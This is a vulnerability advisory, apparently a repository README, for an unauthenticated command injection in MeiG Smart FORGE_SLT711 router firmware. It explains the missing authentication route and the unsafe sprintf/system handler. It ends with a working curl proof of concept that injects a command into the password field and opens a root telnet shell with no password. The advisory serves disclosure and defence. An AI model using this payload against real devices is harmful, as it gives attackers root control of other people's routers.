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CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead — Unauthenticated OS Command Injection (`/action/SetRemoteAccessCfg`)

- **CVE**: CVE-2026-36356
- **CWE**: CWE-78, CWE-306
- **Discoverer**: Daniil Gordeev
- **Disclosed**: 2026-05-03

Summary

The GoAhead web server bundled with MeiG Smart FORGE_SLT711 4G LTE CPE devices exposes an unauthenticated HTTP endpoint, `/action/SetRemoteAccessCfg`, that interpolates user-controlled JSON input into a shell command without sanitization. A single unauthenticated POST request executes arbitrary commands as **root**.

Two independent root causes: a missing authentication route entry, and an unsafe `sprintf()` → `system()` construction in the handler.

Affected Products

- **Vendor**: MeiG Smart Technology Co., Ltd. (Shenzhen, China)
- **Product**: FORGE_SLT711 4G LTE CPE Router
- **Confirmed firmware**: `MDM9607.LE.1.0-00110-STD.PROD-1` (modem firmware `BC-MGST711H_1.1.1_EQ101`)
- **Web server**: GoAhead 3.x (Embedthis) with MeiG-custom action handlers (`/usr/bin/goahead`)

The vulnerable code is in MeiG's custom action handler, not in upstream GoAhead. Other firmware versions of this product line are likely affected; not independently verified.

Test Environment

Device	Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711)
SoC	Qualcomm MDM9607, ARMv7 Cortex-A7
Kernel	Linux 3.18.48
Firmware	MDM9607.LE.1.0-00110-STD.PROD-1
Date	2026-02-21

Technical Details

Missing authentication (CWE-306)

The GoAhead route configuration `/var/www/route.txt` lists authenticated routes (lines 64–150) using `auth=basic`. `/action/SetRemoteAccessCfg` is **not** in this list. Routing falls through to the catch-all at line 156:

```
route uri=/action handler=action
```

The catch-all has no `auth=basic`, so any HTTP client can invoke `/action/SetRemoteAccessCfg` without credentials.

Command injection (CWE-78)

The handler at offset `0x0003c6d8` in `/usr/bin/goahead` decompiles to:

```
char password_buf[64];      // 0x40 bytes on stack
char command_buf[256];      // 0x100 bytes on stack

websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
```

The `password` field is interpolated inside double quotes. `$(...)` substitution and `` `...` `` backticks expand inside double quotes, so an attacker controls the shell command. `system()` runs as `uid=0` because the GoAhead process runs as root. No input validation, no escaping, no character whitelist.

Proof of Concept

Persistent telnet backdoor

```
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
  -H "Content-Type: application/json" \
  -d '{"password":"$(telnetd -l /bin/sh)"}'
# Reachable via: telnet 192.168.1.1   (root shell, no password)
```



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Languages

- **Python** 100.0%